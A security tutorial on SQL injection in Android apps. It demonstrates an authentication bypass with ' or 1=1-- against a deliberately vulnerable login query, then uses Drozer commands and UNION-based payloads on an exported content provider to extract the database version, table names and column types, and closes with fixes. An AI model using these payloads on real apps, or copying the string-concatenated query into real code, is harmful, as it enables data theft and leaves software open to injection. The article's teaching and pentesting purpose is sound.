This article covers some advanced options available in Drozer by demonstrating
SQL Injection vulnerabilities in Android Apps.
This
article assumes that the readers have basic knowledge of SQL Injection in web
world. We can apply that knowledge to Mobile Apps.
The
following are various possibilities of SQL Injection vulnerabilities in Android
Apps.
1.
SQL Injection at server side
2.
Traditional SQL Injection at client side
3.
SQL Injection in content providers
1. SQL Injection at server side
When
a malicious input is sent to a backend API, web service, or traditional
web server application and if it is not sanitized before passing to the
database, this scenario occurs. This is similar to SQL Injection in traditional
websites.
2. Traditional SQL Injection at client side
The
second variant is, SQL Injection in the client side due to dynamic queries in
the code. Though this is not so common in real world Android apps, I have
developed a simple app to demonstrate the possibility of this vulnerability in
Android apps.
When
we install, we see the following screen. Click "Register" and enter
some username and password to get registered.
We can use the above credentials to login to the
application.
Now, let us have a look at the code snippet used to
process the login.
Code in Login Activity:
// Reading user input and passing it for processing
String
USERNAME=username.getText().toString().trim();
String
PASSWORD=password.getText().toString().trim();
boolean
c = db.login(USERNAME,PASSWORD);
// If we got a boolean value "true" from the database,
login success
if(c == true)
{
Intent i = new
Intent(Login.this,Welcome.class);
startActivity(i);
}
Code
in the database processing class
// Processing the data received from the user
public boolean login(String UNAME, String
UPASS) {
String query = "select * from ADMIN
where EMPNAME = '" + UNAME +
"' and EMPPASS = '" + UPASS
+"'";
Cursor c = db.rawQuery( query, null );
return c.getCount() != 0;
As
we can clearly see, the application is directly accepting the user input and
inserting it into the query, finally using rawQuery to execute it; thus
vulnerable to SQL Injection.
A
user can simply, enter the magic string ' or 1=1-- as shown below to bypass the
authentication.
|
|
3. SQL Injection in content providers
This
is the most important concept in this article as this vulnerability often comes
in real world apps.
Install
the vulnerable application on your emulator as shown below.
adb
install VulContentProvider.apk
When
you launch this application, it shows the following screen. We can save some
bank details as well as view them by giving the name of the user. This is shown
below.
I
gave some account details as shown in the figure below.
If
you enter the name, and click "Show Data", it displays the banks
details as shown below.
The
backend processing is done using content providers. If you remember, in one our
previous articles we have covered how to find and query a content provider
manually. In this article, we will see how to automate the whole process using
Drozer. In addition to that, we will also see how to exploit injection
vulnerabilities in Content Providers.
If
you are new to Drozer, feel free to go through my previous article where we
discussed the basics of Drozer.
Finding and exploiting SQL Injection in Content Providers using Drozer
It
is time to fire up your Drozer and find vulnerabilities using it.
First,
launch drozer agent on the emulator and perform port forwarding on your local
machine with the following command.
adb
forward tcp:31415 tcp:31415
Let
us first find out the package name of our target application using the command
shown below.
dz>
run app.package.list -f vul
Now,
let us see the attacksurface using the following command.
dz>
run app.package.attacksurface [package name]
As
we can see in the figure above, drozer seems to find two vulnerabilities.
1.
There is a content provider exported, so it may expose sensitive information of
the app.
2.
App is debuggable.
Our
focus in this article is ContentProviders. So, let us go ahead and extract the
content provider which is exported.
We
can list our all the content providers using the scanner module in drozer as
shown below.
dz>
run scanner.provider.finduris -a [packagename]
As
we can see in the above figure, we are able to see the content providers which
are accessible.
Now,
let us see if we have any additional vulnerabilities in the following content
provider URI.
content://com.androidpentesting.vulcontentprovider.data/userdetails/
I
am going to test for Injection vulnerabilities in this URI using the following
command.
dz>
run scanner.provider.injection --uri [URI]
Awesome!
As
we can see in the above figure, the URI we scanned is vulnerable to injection
both in Projection as well as Selection.
Exploitation:
1. Querying the data
If
you remember one of our previous articles on leaking content providers, we
discussed how to query the provider using adb.
In
this case, we are going to use drozer for the same task. We can run the
following command to query the provider.
dz>
run app.provider.query [URI]
If
a content provider is vulnerable to data leakage, any other malicious app
sitting on the same device can read the data.
2. Exploiting Injection
Now,
let us see how we can pass arbitrary SQL Commands to extract data from the database.
Breaking
the query:
The
traditional way of confirming SQL Injection is to pass a single quote and break
the query.
Let
us pass a single quote(') in selection and see the response.
dz>
run app.provider.query [URI] --selection "'"
If
we observe the above response, the single quote has been sent to the query and it is throwing an error
along with the broken query.
Now,
let us form a proper query by passing "id=1".
dz>
run app.provider.query [URI] --selection "id=1"
The
above query has executed as expected and returned the row associated with id 1.
We
can even pass id=2 which looks as shown below.
dz>
run app.provider.query [URI] --selection "id=2"
Now,
let us pass the magic string as shown below.
dz>
run app.provider.query [URI] --selection "1 or 1=1"
As
expected, it has returned all the rows.
Now,
let us do something interesting.
I
am passing the following query to print the numbers 1,2,3 using UNION
statement. All the rules with "UNION" statements should be kept in
mind. Thats the reason for passing only 3 columns in my query.
dz>
run app.provider.query [URI] --selection "1=1) union select 1,2,3 from
sqlite_master where (1=1"
"sqlite_master"
is something similar to information_schema in MySQL databases. It holds
metadata and structure of the database.
In
our case the above command becomes,
dz>
run app.provider.query content://com.androidpentesting.vulcontentprovider.data/userdetails/
--selection "1=1) union select 1,2,3 from sqlite_master where (1=1"
The
output of the above command is as shown below.
As
we can see in the above figure, we are able to see the numbers 1,2,3. We can
now replace any of the numbers to extract the content from the database.
So,
let us go ahead and print the database version. (This is just to show how we
can read the private information by passing arbitrary commands to the
database).
The
command now will be as shown below.
dz>
run app.provider.query [URI] --selection "1=1) union select
1,2,sqlite_version() from sqlite_master where (1=1"
In
our case, the query becomes
dz>
run app.provider.query
content://com.androidpentesting.vulcontentprovider.data/userdetails/
--selection "1=1) union select 1,2,sqlite_version() from sqlite_master
where (1=1"
The
output is as shown below.
As
we can see in the above figure, 3.7.11 is the database version.
We
can even list out all the table names using the following command as shown
below.
dz>
run app.provider.query [URI] --selection "1=1) union select 1,2,tbl_name
from sqlite_master where (1=1"
In
our case, the query becomes
dz>
run app.provider.query content://com.androidpentesting.vulcontentprovider.data/userdetails/
--selection "1=1) union select 1,2,tbl_name from sqlite_master where
(1=1"
the
following is the output from the above command.
It
clearly shows the list of tables. "users" is one table with
which we are interacting using the provider. if there are any other user
defined tables, we can query them.
As
an example, I am showing a query where I am going to find out the data types of
each column in users table.
This
helps us if we want to insert data into the content provider. Drozer also
provides the luxury of inserting data into the existing tables.
dz>
run app.provider.query
content://com.androidpentesting.vulcontentprovider.data/userdetails/
--selection "1=1) union select typeof(id), typeof(name),
typeof(bankdetails) from users where (1=1"
If
you observe the above command, we are extracting the data types of each column
from users table.
The
output of the above query is as shown below.
The
following is the AndroidManifest.xml file entry for this provider.
<provider
android:name="com.androidpentesting.vulcontentprovider.data"
android:exported="true"
android:authorities="com.androidpentesting.vulcontentprovider.data">
</provider>
Well,
if you are asking yourself if this kind of vulnerabilities exist in real world
apps, answer is YES. I have seen many apps from the Android market, which are
vulnerable to Content Provider injection.
Below
is a link of POC from viaforensics.
https://viaforensics.com/mobile-security/ebay-android-content-provider-injection-vulnerability.html
How to fix?
Scenario
1&2:
Sanitize
the user input and write prepared statements.
Scenario
3:
If
it is not needed, content provider should not be exported.
If
functionality demands to export your provider, we can set appropriate
permissions to restrict access to only those who are authorised.
Conclusion:
This
article has covered SQL Injection vulnerabilities in android apps and also
clearly demonstrates the power of drozer in exploiting android apps. The focus
of this article is to cover both SQL Injection as well as the luxury provided
by Drozer to simplify android exploitation.
References:
https://www.owasp.org/index.php/OWASP_Mobile_Security_Project
http://www.mandalorian.com/2013/05/android-sql-injection-with-mercury
You may also like:
http://www.infosecinstitute. com/courses/ethical_hacking_ training.html or pen testing http://www.infosecinstitute. com/courses/10day_penetration_ testing_training.html
You may also like:
http://www.infosecinstitute.